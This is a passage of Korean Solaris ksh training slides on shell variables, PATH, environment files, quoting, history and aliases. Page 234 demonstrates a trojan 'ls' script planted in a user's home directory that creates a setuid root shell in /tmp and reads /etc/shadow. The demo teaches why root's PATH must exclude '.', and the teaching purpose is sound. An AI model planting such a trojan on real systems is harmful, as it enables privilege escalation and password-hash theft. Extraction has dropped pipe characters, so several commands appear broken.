227 (3.3) 로그아웃방지기능 set -o ignoreeof l EOF(End Of File) 의의미를갖는 <CTRL + D> 가존재한다. 콘쉘자체의기능중 ignoreeof 기능이 on 이되면 <CTRL + D> 의의미중현재프로그램을종료하는의미를무시한다. <CTRL + D> 의의미는? (a). 파일의끝을알려주는기능 (b). 현재프로그램종료 ( 쉘 ) 의기능갖는다. (a). 파일의끝의미를갖는 <CTRL + D> # mailx root > Subject : TEST hello <CTRL + D> (b). 현재프로그램 ( 쉘 ) 종료의의미를갖는 <CTRL + D> # telnet root 사용자로로그인 # <CTRL + D> => 로그아웃된다. # telnet root 사용자로로그인 # set -o ignoreeof # <CTRL + D> => 로그아웃되지않는다. # exit

228 변수 (Variable) 변수는지역변수와환경변수, 그리고특수변수로구분한다. 지역변수와환경변수의차이점은 export 되었는가이다. 지역변수는 export 되지않은변수를나타내고, 환경변수는 export 되어져있다. 특수변수는특수한모양을가지고, 특별한의미를가지고있는변수를의미한다. export 되어진변수중에서시스템을위해사용되는변수를시스템환경변수라고한다. 변수의종류 지역변수 (Local Variable) 환경변수 (Global Variable, Environment Variable) 특수변수 (Special Variable) (4.1) 변수선언 (Variable Definition) sh 계열 : sh > ksh > zsh > bash csh 계열 : csh -----> tcsh ( 본쉘스타일 ) (a). 변수를선언하는방법 # VAR=5 ( 변수의값으로는숫자나문자구별하지않는다.) # VAR=hello # export VAR (b). 변수의내용을확인하는방법 # echo $VAR (c). 변수의내용을초기화하는방법 # unset VAR ( 콘쉘스타일 ) (a). 변수를선언하는방법 # export VAR=hello (b). 변수의내용을확인하는방법 # print $VAR (c). 변수의내용을초기화하는방법 # unset VAR [EX] 변수선언테스트 # VAR=hello /* 변수선언 */ # echo $VAR /* 변수확인 */ # unset VAR /* 변수해제 */ # echo $VAR /* 변수확인 */

229 (4.2) export 의의미변수의 export 란? 변수가쉘에서 export 되면현재쉘을포함해서하위쉘에서변수는같은의미로동작하게된다. 변수가쉘에서 export 되지않으면, 변수가선언된쉘에서만의미가있다. 하위쉘에서도의미가있는것은아니다. # ps PID TTY TIME CMD 408 pts/3 0:00 ksh # VAR1=5 /* VAR1 변수선언 */ # VAR2=10 /* VAR2 변수선언 */ # export VAR2 /* VAR2 변수 export */ # ksh /* 서브쉘생성 */ # ps PID TTY TIME CMD 408 pts/3 0:00 ksh 994 pts/3 0:00 ksh # echo $VAR1 /* 서브쉘에서 VAR1 변수확인 */ # echo $VAR2 /* 서브쉘에서 VAR2 변수확인 */ # exit # echo $VAR1 # echo $VAR2 VAR1=5, VAR2= VAR1=?, VAR2=? [ 그림 ] 변수의 export 의미 다음은시스템환경변수들에대한내용이다. 쉘의환경에서사용되고있는변수들은여려개가존재한다. 이러한변수들중에서사용자가로그인시에선언이되는변수들에대해알아보자. 다음은사용자가로그인시에선언되는기본변수 ( 환경변수 ) 들이다. 옵션 설명 EDITOR 쉘을위한기본편집기를정의할때사용한다. PATH 필드구분이콜론 (:) 으로구분되며명령어를검색할디렉토리를지정한다. FCEDIT fc 명령어를위한편집기를정의, 히스토리기능을사용할때사용한다. HOME 사용자의홈디렉토리를정의한다. PS1 첫번째콘쉘프롬프트를정의한다. 기본값은 $ 또는 # 이다. PS2 두번째콘쉘프롬프트를정의한다. 기본값은 > 이다. SHELL ENV 쉘의이름을정의한다.( 예 : /bin/ksh) 환경파일의이름을정의한다.( 예 : ~/.kshrc) TMOUT 쉘프롬프트에서입력이없으면쉘을종료시킬시간을정의한다

230 [ 참고 ] set / env 시스템에로그인한사용자에게선언된모든변수를확인하기위해서는 set 명령어를사용한다. set 명령어를사용하면, 현재쉘에지정된지역변수나환경변수, 특수변수모두를확인할수있다. env 명령어나 export 명령어를사용하면, export 되어진변수에대해서만확인이가능하다. set : 모든변수 ( 지역변수 + 환경변수 ) env : 환경변수 # VAR1=SOLDESK /* 지역변수 */ # VAR2=SOLARIS /* 환경변수 */ # export VAR2 # set grep VAR1 (0) VAR1=SOLDESK # set grep VAR2 (0) VAR2=SOLARIS # env grep VAR1 (X) # env grep VAR2 (0) VAR2=SOLARIS set 출력 DISPLAY= :0.0 EDITOR=/usr/bin/vi ENV=/.kshrc ERRNO=2 FCEDIT=/bin/ed HISTFILE HISTSIZE HOME=/ HZ=100 IFS=' ' Identify=0 LANG=ko LD_LIBRARY_PATH=/usr/lib:/usr/secure/lib:/usr/local/lib:/usr/local/ssl/lib:/usr/sfw/lib LINENO=1 LOGNAME=root MAIL=/var/mail/root MAILCHECK=600 MANPATH=/usr/sfw/share/man:/usr/local/man:/usr/local/ssl/man:/usr/share/man:/usr/man:/usr/open win/share/man OPTIND=1 PATH=/usr/local/ssl/bin:/usr/local/run:/usr/sfw/bin:/usr/sfw/sbin:/usr/local/sbin:/usr/local/b in:/bin:/sbin:/usr/bin:/usr/sbin:/usr/ucb:/usr/dt/bin:/usr/ccs/bin:/usr/openwin/bin:/usr/lib/n etsvc/yp:/usr/apache/bin:/root/shell:/usr/sadm/admin/bin PPID=496 PS1='[$PWD]# ' PS2='> ' PS3='#? ' PS4='+ ' PWD=/ RANDOM=26641 SECONDS=32 SHELL=/bin/ksh TERM=dtterm TERMINAL_EMULATOR=dtterm TMOUT=0 TZ=ROK WINDOWID= _=clear

231 시스템환경변수솔라리스시스템에로그인사용자에게선언되어지고, 현재쉘에서 export 되어진쉘변수들을시스템환경변수라고한다. 다음은이런시스템환경변수들중많이반드시숙지해야하는시스템환경변수의종류들이다. l l l l EDITOR, VISUAL PS1, PS2 PATH, MANPATH, LD_LIBRARY_PATH HOME, PWD, LOGNAME, DISPLAY (4.3) EDITOR, VISUAL 변수기본적인편집기를정의하는변수이다. 이변수설정으로 crontab, oracle 등일부프로그램들은 EDITOR, VISUAL 변수의값을기본적인편집기로사용하게된다. EDITOR, VISUAL 변수같은경우환경파일에정의하여사용하면된다.(/etc/profile, ~/.profile) # EDITOR=/usr/bin/vi # export EDITOR or # VISUAL=/usr/bin/vi # export VISUAL or # set -o vi [ 참고 ] 기본적인편집기선언 OS( 썬개발프로그램 ) : Default Editor (set -o vi) Oracle DB : EDITOR (4.4) PS1 변수 PS1 변수는명령어를입력하는명령어줄의프롬프트를정의할때사용한다. 즉쉘에서의첫번째프롬프트를나타낸다. 콘쉘에서는일반사용자를위한기본프롬프트는달러사인 ($) 이고 root 사용자를위한기본프롬프트는샵 (#) 표시이다. PS1 변수를로그인시에적용시키기위해서는 ~/.kshrc 같은환경파일에정의하여사용하면된다. root 사용자의쉘프롬프트 : # 일반사용자의쉘프롬프트 : $ # PS1=[solarisXXX]# # export PS1 # PS1='$PWD> ' # PS1='[$PWD]# ' # export PS1 [ 참고 ] Bash Shell 에서의 PS1 정의방법쉘프롬프트 : [solaris254@root:/]# (ksh ) # PS1=[`hostname`@$LOGNAME:'$PWD]# ' (bash) # PS1='[\h@\u:\w]\$ ' [ 참고 ] # man bash => /PS1 => n => /PROMPTING

232 [ 참고 ] PS2 변수명령어가아직끝나지않았음을나타낼때사용하는쉘프롬프트이다. # ls -a -l # ls -a \ > -l /* PS2='> ' */ # echo "Hello, Solaris > " # while true > do > CMD > sleep 2 > done

233 (4.5) PATH 변수명령어를검색할디렉토리를선언할때사용한다. 솔라리스운영체제안에명령어를사용할때명령어를절대경로를사용하여위치를지정하는경우가아니고상대경로를사용하면쉘은이명령어를찾기위해서 PATH 변수를참조한다. PATH 변수에정의된첫번째디렉토리를검색하고없으면다음디렉토리를찾기시작한다. 만약찾으면실행하고다음디렉토리는찾지않는다. 예를들어새로운프로그램을설치한경우프로그램실행위치가 PATH 에지정을안되어있다면절대경로를사용해야실행이된다. 그러므로새로운프로그램의위치를 PATH 변수에지정하게되면편리하게사용할수있다. # PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/dt/bin:/usr/ccs/bin:/usr/openwin/bin:/usr/ucb # export PATH EX) ls 명령어수행 (# find / -name bin -type d, # find / -name sbin -type d) # ls -l ( 절대경로 ) # /usr/bin/ls -l ( 상대경로 ) # cd /usr/bin #./ls -l [ 참고 ] 스크립트디렉토리지정 l /root/bin, /root/shell : 스크립트디렉토리 # PATH=$PATH:/root/shell:/root/bin # export PATH # script.sh [ 참고 ] 명령어실행시에러메시지 # CMD ksh: command: not found # find / -name CMD -type f - 1> 명령어가없는경우 (-> 명령어설치 ) - 2> PATH 변수에명령어의경로가정의가않은경우 (-> PATH 변수에경로추가 ) [EX] ethereal & dhcpmgr # ethereal (ksh : ethereal: not found) => 프로그램이설치안된경우 # dhcpmgr (ksh : dhcpmgr : not found) => PATH 변수에경로가추가되지않은경우 # find /usr/sadm -name dhcpmgr -type f /usr/sadm/admin/bin/dhcpmgr # export PATH=$PATH:/usr/sadm/admin/bin # dhcpmgr &

234 [ 참고 ] 보안에관련한 PATH 변수설정 ( 주의 ) 관리자 (EX:root) 의 PATH 변수설정은현재디렉토리가포함되어있으면안된다. 관리자의잘못된 PATH 변수설정예 PATH=.:/bin:/usr/bin:/usr/sbin PATH=/bin:/usr/bin:/usr/sbin:. PATH=:/bin:/usr/bin:/usr/sbin PATH=/bin:/usr/bin:/usr/sbin: PATH=/bin::/usr/bin:/usr/sbin (root 사용자 ) [TERM1] root 사용자의윈도우 # useradd -m -d /export/home/hacker -s /bin/ksh hacker # passwd hacker # export PATH=.:$PATH # echo $PATH (Hacker 사용자 ) [TERM2] hacker 사용자의윈도우 # telnet localhost hacker 사용자로로그인 $ id $ pwd $ rcp root@ :/root/shell/ls /export/home/hacker $ chmod 755 ls $ cat ls #!/bin/ksh cp /usr/bin/ksh /tmp/.hacker chown root /tmp/.hacker chmod u+s /tmp/.hacker rm -f $0 /usr/bin/ls $* $ cat > -i Your System Hacking!!!!! <CTRL + D> $ ls =====> 관리자 Call ( 도움요청내용 : '-i' 파일을지울수없다.) (root 사용자 ) [TERM1] root 사용자의윈도우 # cd ~hacker (# cd /export/home/hacker) # ls -> 1 PATH 변수참조 -> 2 현재디렉토리검색 -> 3 현재디렉토리밑에있는 ls 명령어수행 # rm -i # rm \-i # rm '-i' # rm "-i" (Hacker 사용자 ) [TERM2] hacker 사용자의윈도우 $ ls l /tmp/.hacker $ cd /tmp $./.hacker $ id -a $ cat /etc/shadow

235 (4.6) MANPATH 변수매뉴얼페이지의검색할위치를지정할때사용한다. 일반적으로솔라리스시스템에서명령어가설치되면매뉴얼도같이설치되게된다. 하지만대부분의번들된패키지 (Bundle Packages) 들은설치될당시에는 /usr/share/man 위치에설치가되므로기본위치에의해검색이가능하지만새로설치한프로그램이번들되지않은패키지 (Unbundle Packages) 라면기본위치에설치가되지않는다. 대표적인예로 sunfreeware 에서받은패키지들은 /usr/local/man 에대부분의매뉴얼이놓이게된다. 이경우 MANPATH 로지정하여야만새로운패키지에대한매뉴얼을참조할수있다. 선언하는방식은 PATH 변수와거의흡사하다. 솔라리스에서대부분의매뉴얼페이지 : /usr/share/man (ls, find, grep,...) 다른매뉴얼페이지의위치 : /usr/dt/man /usr/local/man /opt/sunwxxx/man # MANPATH=/usr/man:/usr/dt/man:/usr/local/man (# find / -name man -type d) # export MANPATH # man ls -> 매뉴얼페이지가보인다 # echo $MANPATH...:/usr/man:... (/usr/man ---> /usr/share/man) # ls -l /usr/man [ 참고 ] 매뉴얼페이지디렉토리확인 # cd /usr/share/man # ls (4.7) LD_LIBRARY_PATH 변수라이브러리의경로를검색할때사용하는변수지정 # LD_LIBRARY_PATH=/usr/lib:/usr/local/lib # export LD_LIBRARY_PATH 라이브러리 (Libarary) - 동적라이브러리 (Dynamic Lib.) : XXXXXX.so - 정적라이브러리 (Static Lib.) : XXXXXX.a EX) ls 명령어의동적라이브러리확인 # ldd /usr/bin/ls ( 정상출력화면 ) ( 에러출력화면 ) # ls libsec.so.1 => libc.so.1 => libavl.so.1 => libm.so.2 => /usr/lib/libsec.so.1 /usr/lib/libc.so.1 /usr/lib/libavl.so.1 /usr/lib/libm.so.2 libsec.so.1 => /usr/lib/libsec.so.1 libc.so.1 =>? libavl.so.1 => /usr/lib/libavl.so.1 libm.so.2 => /usr/lib/libm.so.2 ld.so.1: gs: fatal error: libc.so.1 : open fail : no such file or directory

236 # find / -name "libc.so.1" -type f 2>/dev/null - libpng.so.2 라이브러리를찾은경우 - libpng.so.2 라이브러리를찾을수없는경우 (a). 라이브러리파일을찾은경우 # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib (b). 라이브러리파일을못찾은경우 -> download -> 검색창 -> "libc.so.1"-> SUNWxxx # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib ( 다른예 ) vim packages (EX: # pkgadd -d vim*) l vim 패키지는솔라리스 10 버전에미리설치된패키지가아니다. l 따라서 에서패키지를받아설치해야한다. l 설치시선수패키지가존재한다.( 예 : ncureses, gtk+, glib 등 ) l 만약선수패키지가설치되지않는다면아래와같은메세지를받게된다. # vim /etc/hosts ld.so.1: vim: fatal: libncurses.so.5: open failed: No such file or directory Killed # which vim /usr/local/bin/vim # ldd /usr/local/bin/vim libgtk-1.2.so.0 => /usr/sfw/lib/libgtk-1.2.so.0 libgdk-1.2.so.0 => /usr/sfw/lib/libgdk-1.2.so.0 libgmodule-1.2.so.0=> /usr/sfw/lib/libgmodule-1.2.so.0 libglib-1.2.so.0 => /usr/sfw/lib/libglib-1.2.so.0 libxext.so.0 => /usr/lib/libxext.so.0 libxt.so.4 => /usr/lib/libxt.so.4 libx11.so.4 => /usr/lib/libx11.so.4 libsm.so.6 => /usr/lib/libsm.so.6 libice.so.6 => /usr/lib/libice.so.6 libm.so.2 => /usr/lib/libm.so.2 libncurses.so.5 => (file not found) libnsl.so.1 => /usr/lib/libnsl.so.1 libsocket.so.1 => /usr/lib/libsocket.so.1 libc.so.1 => /usr/lib/libc.so.1 libdl.so.1 => /usr/lib/libdl.so.1 libmp.so.2 => /usr/lib/libmp.so.2 libmd.so.1 => /usr/lib/libmd.so.1 libscf.so.1 => /usr/lib/libscf.so.1 libdoor.so.1 => /usr/lib/libdoor.so.1 libuutil.so.1 => /usr/lib/libuutil.so.1 libgen.so.1 => /usr/lib/libgen.so.1 ( 만약 vim 패키지의선수패키지를모두설치한상태라면 ) # vi ~/.kshrc... alias vi='/usr/local/bin/vim'... #. ~/.kshrc # alias vi vi=/usr/local/bin/vim # vi ~/.vimrc syn on # vi /etc/hosts # vi /usr/include/meta.h # gvim /etc/hosts /* gvim : GUI Vi IMproved */

237 [ 참고 ] 솔라리스패키지설치시고려해야하는변수 패키지 (Package) Binary Command(Daemon) => /usr/local/bin (-> PATH) Configuration File Library => /usr/local/lib (-> LD_LIBRARY_PATH) Manual => /usr/local/man (-> MANPATH) Documentation 솔라리스시스템에서새로운패키지를설치하게되면, 새로운패키지를편리하게하기위해서다음과같은변수들을설정해야한다. PATH MANPATH LD_LIBRARY_PATH # vi /.profile... ( 중략 )... PATH=/usr/local/bin:$PATH MANPATH=/usr/local/man:$MANPATH LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib... ( 중략 )

238 (4.8) 기타시스템환경변수 HOME - 사용자가로그인시에 /usr/bin/login 프로그램에의해 /etc/passwd 파일의홈디렉토리필드를확인하여설정이된다. 사용자의홈디렉토리가정의된다. root 사용자의홈디렉토리는기본값이 /(Slash) 로되어있다. PWD - 사용자의작업경로를표시한다. LOGNAME - 사용자가로그인시에 /usr/bin/login 프로그램에의해 /etc/passwd 파일의사용자이름필드를확인하여설정이된다. 로그인사용자의이름이정의된다. DISPLAY - 출력방향지정변수 # echo $HOME /* 사용자의홈디렉토리표시 */ / # echo $PWD /* 현재작업디렉토리표시 */ /test # echo $LOGNAME /* 사용자의이름, 로그인이름 */ root [EX] $HOME 의활용예 # cd # cd $HOME # vi $HOME/.profile (# vi ~/.profile) # vi $HOME/.kshrc (# vi ~/.kshrc) [EX] DISPLAY 변수활용예 XXX HostA HostB # xhost + # telnet HostB > 사용자로그인 # export DISPLAY=HostA:0 # smc & (HostA) XXX # xhost + access control disabled, clients can connect from any host # telnet root 사용자로로그인 # export DISPLAY= XXX:0 # sdtperfmeter & (# smc &) # exit

239 (4.9) 특수변수 (Special Variable) - $$ : 현재쉘의 PID 번호를저장하고있다. - $? : 바로이전명령어의정상실행여부에대한결과값이들어있다. - $! : 바로이전백그라운드프로세스에대한 PID 번호를저장하고있다. - 인자변수 ($0, $1, $2,...$*, $#) '$' 특수변수 # echo $$ /* 현재사용하고있는콘쉘의 PID 번호확인 */ 1257 # ps PID TTY TIME CMD 1257 pts/5 0:00 ksh '?' 특수변수 # cal -> 출력결과생략 # echo $? /* 이전명령어가정상적으로종료되었기때문에? 에는 '0' */ 0 # ls /nodir /nodir: No such file or directory # echo $? /* 이전명령어가비정상적으로종료되었기때문에? 에는 '0' 이아닌값 */ 2 # vi script.sh #!/bin/ksh... ( 중략 )... tar cvf /dev/rmt/0 /was/source /* tar : 백업명령어 */ if [ $? -eq 0 ] ; then /* -eq : equal */ echo "Success" else echo "Fail" fi... ( 중략 ) '!' 특수변수 # sleep 200 & [1] 1442 <ENTER> 1442 [1] : Job ID 1442 : PID # echo $! /* 이전백그라운드프로세스의 PID 번호가저장된다. */

240 인자변수 ($0, $1, $2,...$*, $#) $0 : 프로그램이름 $1 : 프로그램의첫번째인자 (Argument) $2 : 프로그램의두번째인자 $3 : 프로그램의세번째인자 $4, $5,..., $9 $* : 프로그램의모든인자 $# : 프로그램의인자개수 [EX1] 인자변수를테스트할수있는스크립트만들기 # cd /test # vi test.sh #!/bin/ksh # ls -a # vi ls $1 <--> -a / -l / -t echo "$0" /* 프로그램이름 */ echo "$1" /* 첫번째인자 */ echo "$2" /* 두번째인자 */ echo "$3" /* 세번째인자 */ echo "$*" /* 모든인자 */ echo "$#" /* 모든인자의개수 */ # chmod 755 test.sh #./test.sh hello solaris soldesk./test.sh /* 프로그램이름 */ hello /* 첫번째인자 */ solaris /* 두번째인자 */ soldesk /* 세번째인자 */ hello solaris soldesk /* 모든인자 */ 3 /* 모든인자의개수 */ [EX2] 새로운명령어만들기 # ps -ef head -1 # ps -ef grep inetd # ps -ef head -1 ; ps -ef grep inetd # alias pps='ps -ef head -1 ; ps -ef grep $1' # pps inetd # pps java # pps httpd

241 # vi mon_cmd.sh #!/bin/ksh while true do echo " `date` " $* sleep 2 done # chmod 755 mon_cmd.sh #./mon_cmd.sh df -h -F ufs #./mon_cmd.sh ps -U root [ 참고 ] 사용자로그인시의변수설정 (Login Variables) 변수이름 선언주체 설명 LOGNAME login 사용자로그인이름정의 HOME login 사용자의홈디렉토리정의 SHELL login 사용자의기본쉘정의 PATH login 사용자의명령어검색경로정의 MAIL login 사용자의 mailbox 경로정의 TERM login 사용자의사용터미널정의 LPDEST 기본선언아님 기본프린터정의 PWD shell 현재작업디렉토리정의 PS1 shell 쉘프롬프트정의 (sh, ksh) prompt shell 쉘프롬프트정의 (csh)

242 ( 정리 ) 변수 (Variable) 1. 변수의종류지역변수환경변수 ( 예 : 시스템환경변수 ) 특수변수 ( 예 : $,?,!) 2. 변수선언방법 ( 선언 ) VAR=5 ; export VAR ( 확인 ) echo $VAR, print $VAR ( 해제 ) unset VAR 3. export 의미? 4. 시스템환경변수 set/env 명령어 EDITOR/VISUAL PS1/PS2 PATH, MANPATH, LD_LIBRARY_PATH PWD/LOGNAME/HOME/DISPLAY

243 메타문자 (Metacharacter) ' ' : 작은따옴표 (single quotation) " " : 큰따옴표 (double quotation, $, ` `, \) ` ` : 역따옴표 (back quotation) \ : 역슬래쉬 (back slash) ; : 세미콘론 (semicolon) [EX1] 작은따옴표실습 (single quote) l Single Quotation 으로묶여있는내용들은쉘이해석하지못하도록막아주는역할을가진다. # echo $HOME # echo '$HOME' [EX2] 큰따옴표실습 (double quote) l Double Quotation 으로묶여있는내용들은쉘이해석하지못하도록막아주는역할을가진다. l 단, Double Quotation 안에서도 $, ``, \ 기호는해석이된다. # echo "$HOME" # echo "$HOME is my directory." # grep root /etc/passwd # grep 'root' /etc/passwd # grep "root" /etc/passwd # echo hello solaris # echo hello solaris # echo "hello solaris" [EX3] 역따옴표실습 (back quote) l Back Quotation 으로묶여있는내용들을쉘은명령어라고생각하고실행한다. # hostname # echo `hostname` # echo `date` # echo "`hostname` is my hostname.!!!" /* sh style : `hostname` */ # echo "$(hostname) is my hostname.!!!" /* ksh style: $(hostname) */ # touch file_`date +%m%d`.log (EX: file_1210.log)

244 (1st) 단순한모니터링 # while [ 1 ] > do > ps -ef grep httpd wc -l > sleep 2 > done [ 참고 ] Back Quotation 활용방법 (2nd) 모니터링 + 데이터수집 ( 시간정보수집제외 ) # while [ 1 ] > do > ps -ef grep httpd wc -l tee -a /test/apache.log > sleep 2 > done (3th) 모니터링 + 데이터수집 ( 시간정보수집 ) # echo "`date` : `ps -ef grep httpd wc -l`" # echo "`date +%m%d_%h%m_%s` : `ps -ef grep httpd wc -l`" # echo "`date +%m%d_%h%m_%s` : `ps -ef grep httpd wc -l`" >> file.log # echo "`date +%m%d_%h%m_%s` : `ps -ef grep httpd wc -l`" tee -a file.log # while true > do > echo " " > echo "`date +%m%d_%h%m_%s` : `ps -ef grep httpd wc -l`" tee -a /test/apache.log > sleep 2 > done

245 [EX4] 역슬래쉬실습 (back slash) l Back Slash(\) 다음에오는특별한의미가해석되지못하도록막는다. # echo $HOME # echo \$HOME (# echo '$HOME') # echo "\$HOME is my directory." # \rm -r dir1 (alias rm='rm -i') # find / -name core -type f -exec rm {} \; # find / -name core -type f -exec rm {} ';' # find / -name core -type f -exec rm {} ";" # find / \( -perm o -perm \) -type f [ 참고 ] Back Slash(\) 의다른사용 -> \ 명령어 : 단순한명령어로동작하도록함 (EX: 엘리어스무시 ) -> 명령어 \ : 명령어가아직끝나지않음을표시 #./configure --prefix=/usr/local/apache --option1=option1 --option2=option2... #./configure \ > --prefix=/usr/local/apache \ > --option1=option1 \ > --option2=option2 \ >... [EX5] 세미콜론실습 (semicolon) 한라인여러개의명령어를수행 (excution mutliple command a line) # date ; cal ; ls -l # date # cal # ls -l [ 참고 ] # EDITOR=/usr/bin/vi ; export EDITOR # ps -ef head -1 ; ps -ef grep inetd # alias pps='cmd1 ; CMD2 ; CMD3'

246 히스토리 (History) l ( 명령어히스토리 ) 사용자가로그인하게되면사용자의명령어를저장하기위해서 Stack 공간이할당된다. l Stack 공간은 ksh 쉘을사용하고있다면, 기본값은 128개의명령어를저장할수있는공간이할당된다. l ( 참고 ) bash 쉘은 512개의명령어를저장할수있다. 또한 sh 쉘은히스토리기능이없다. STACK # history # history -r (reverse) # history -n (not number) # history -5 [ 참고 ] 히스토리참고파일및변수 ~/.sh_history 히스토리내용을지속적으로저장하는파일 HISTSIZE 히스토리를기록하는 Stack의크기를지정하는파일 HISTFILE 히스토리내용을지속적으로저장하는파일이름지정 [EX] HISTSIZE, HISTFILE 변수지정 # HISTSIZE=128 ; export HISTSIZE # HISTFILE=~/.sh_history ; export HISTFILE HISTSIZE If this variable is set when the shell is invoked, then the number of previously entered commands that are accessible by this shell will be greater than or equal to this number. The default is 128. HISTFILE If this variable is set when the shell is invoked, then the value is the pathname of the file that will be used to store the command history. [ 참고 ] r (re-excution) (ksh style) (bash style) # history # history # r #! # r 450 #!450 # r vi (# r man) #!vi (#!man) # r etc=var 450 ( 450 # vi /etc/dir1/dir2/dir3/filename)

247 별칭 (Alias) 선언방법 선언확인방법 선언해제방법 # alias cp='cp -i' # alias # alias cp (# alias grep cp) # unalias cp alias 출력내용 acd='cd /var/apache/htdocs' autoload='typeset -fu' c=clear command='command ' cp='cp -i' df='df -h' dir='ls -ailhf more' fconfig='vi /etc/ftpd/ftpaccess' functions='typeset -f' h=history hconfig='vi /etc/apache/httpd.conf' history='fc -l' integer='typeset -i' ll='ls -ailhf more' llt='ls -aihlf' local=typeset ls='ls -hf' lsd='ls -al grep ^d' lsf='ls -al grep ^-' mlog='tail -f /var/adm/messages' mv='mv -i' nohup='nohup ' nslookup=/usr/sbin/nslookup r='fc -e -' slog='tail -f /var/adm/sulog' sslog='tail -f /var/log/syslog' stop='kill -STOP' suspend='kill -STOP $$' t=telnet tm='telnet ' vi=/bin/vi

248 환경파일 (Environment File) 사용자로그인시적용되는환경파일 /etc/profile : 전체사용자환경설정파일 ~/.profile : 개인사용자환경설정파일 (ENV=/.kshrc) ~/.kshrc : 개인사용자환경설정파일 환경파일들을성격에따라구분 로그인시실행되는순서 : /etc/profile -> ~/.profile -> ~/.kshrc 로그인시만한번실행 : /etc/profile -> ~/.profile ksh 실행될때마다실행 : ~/.kshrc 관리자관리환경파일 : /etc/profile 사용자관리환경파일 : ~/.profile, ~/.kshrc [ 그림 ] 사용자로그인시환경파일적용순서

249 [EX] 환경파일읽혀지는순서확인 # vi /etc/profile echo " -> /etc/profile read" <----- 문서의처음부분에라인추가 #ident "@(#)profile /03/13 SMI" /* SVr */ # The profile that all logins get before using their own.profile. trap "" 2 3 export LOGNAME PATH... ( 중략 )... # vi ~/.profile echo " -> ~/.profile read" <----- 문서의처음부분에라인추가 # (1). stty erase ^H # stty erase ^H # stty erase ^?... ( 중략 )... # vi ~/.kshrc echo " -> ~/.kshrc read" <----- 문서의처음부분에라인추가 # (1). set -o set -o vi set -o trackall... ( 중략 )... # telnet localhost Trying Connected to localhost. Escape character is '^]'. login: root <----- 'root' 입력 Password: (root 사용자암호입력 ) Last login: Wed Apr 14 18:47:18 on console -> /etc/profile read Sun Microsystems Inc. SunOS 5.10 Generic January > ~/.profile read -> ~/.kshrc read -> root 사용자로그인 새로운창실행 -> 바탕화면 (Workspace) -> 오른쪽마우스클릭 -> 터미널열기 (EX: xterm) # ksh

250 (8.1) /etc/profile 파일 ~/.profile 과 ~/.kshrc 파일에정의될수있는모든것들에대해정의가능 시스템의모든사용자에게적용할것에대한정의 환경파일에대한자세한내용은 "# man -s 4 profile" 매뉴얼을확인한다. (8.2) $HOME/.profile 파일 주로변수선언 PATH, MANPATH, LD_LIBRARY_PATH EDITOR/VISUAL ENV 기타 환경파일에대한자세한내용은 "# man -s 4 profile" 매뉴얼을확인한다. (8.3) $HOME/.kshrc 파일 특정변수선언 (PS1) set -o 설정 alias 설정 [ 참고 ] 솔라리스기본환경파일해석 ( 예 : root 사용자 ) /etc/profile 기본적으로존재하는파일 ~root/.profile 기본적으로존재하는파일이아니다. (-> ENV_main.sh) ~root/.kshrc 기본적으로존재하는파일이아니다. (-> ENV_main.sh)

251 (a). /etc/profile 파일의해석 /etc/profile 파일 l /etc/profile은기본적으로존재하는파일이다. l /etc/profile은관리자가사용자의환경을미리초기화시켜주기위해서사용한다. ( 다시말해서, 일반사용자가자신의환경을편리하게사용할수있도록관리자가설정하는파일 ) l /etc/profile은로그인시에한번실행이된다. 관리자가 /etc/profile의어떤설정을변경하면변경된내용이적용되는시점은사용자가새로로그인할때이다. l /etc/profile 파일에기본적으로선언되어있는내용은 ( ㄱ ) TERM 변수가설정되어있지않으면설정해주는부분 ( ㄴ ) sh/ksh/bash 쉘을로그인쉘로사용하는경우 Quota 실행이나, 새로운메일이존재하는지여부 ( ㄷ ) 그리고 umask 값설정등이존재한다. l /etc/profile에관리자가새로운내용을추가하는경우 ( 예 : EDITOR, set -o 설정등 ) 에는 umask 명령어실행위쪽에선언해주면된다. # vi /etc/profile #ident "@(#)profile /03/13 SMI" /* SVr */ # The profile that all logins get before using their own.profile. trap "" 2 3 /* /etc/profile 파일을실행하는동안 ( 로그인시 ) 2 번시그널, 3 번시그널을받아도종료하지않는다. */ export LOGNAME PATH /* 변수 export(/usr/bin/login) */ if [ "$TERM" = "" ] /* $TERM 변수가선언안되어있으면 */ then if /bin/i386 /* x86 용 i386(32bits) 일반운영체제 */ then TERM=sun-color else /* x86 용 64bits 운영체제나 space 운영체제 */ TERM=sun fi export TERM fi # Login and -su shells get /etc/profile services. # -rsh is given its environment in its.profile. case "$0" in /* -ksh /etc/profile */ -sh -ksh -jsh -bash) A $0 ( 실행되는로그인쉘 ) if [! -f.hushlogin ] /* ~/.hushlogin 파일이존재하지않으면 */ then /usr/sbin/quota /* Quota 실행 */ # Allow the user to break the Message-Of-The-Day only. trap "trap '' 2" 2 /bin/cat -s /etc/motd /* 로그인시 /etc/motd 내용출력 */ trap "" 2 esac fi /bin/mail -E /* 새로운메일이존재하면 (-E : exist) */ case $? in 0) echo "You have new mail." ;; 2) echo "You have mail." ;; esac #====== (0). Umask Definition =====# umask > UMASK 설정

252 #====== (1). Variable Definition ======# EDITOR=/usr/bin/vi ; export EDITOR /* 사용자를위한변수선언 */ set -o vi /* 사용자를위한기능선언 */ U_ID=`/usr/xpg4/bin/id -u` if [ $U_ID -eq 0 ] then /* 사용자별변수, 기능선언 */ PS1=[$LOGNAME@`hostname`:'$PWD]# ' export PS1 else PS1=[$LOGNAME@`hostname`:'$PWD]$ ' export PS1 fi #====== (2). warning Messages =====# # # (2-1). Sfecific User (EX: user01) /* user01 사용자에게만메세지출력 */ # if [ $LOGNAME = user01 ] then cat -s /etc/warning.txt fi # # (2-2). Sfecific Group (EX: user02, user03) /* 몇명의사용자에게만메세지출력 */ # # # cat /etc/warning.user # user01 # user02 #... for username in `cat /etc/warning.user` do if [ $LOGNAME = $username ] ; then cat /etc/warning1.txt fi done # # (2-3). All User # cat -s /etc/warning2.txt /* 모든사용자에게메세지출력 */ trap

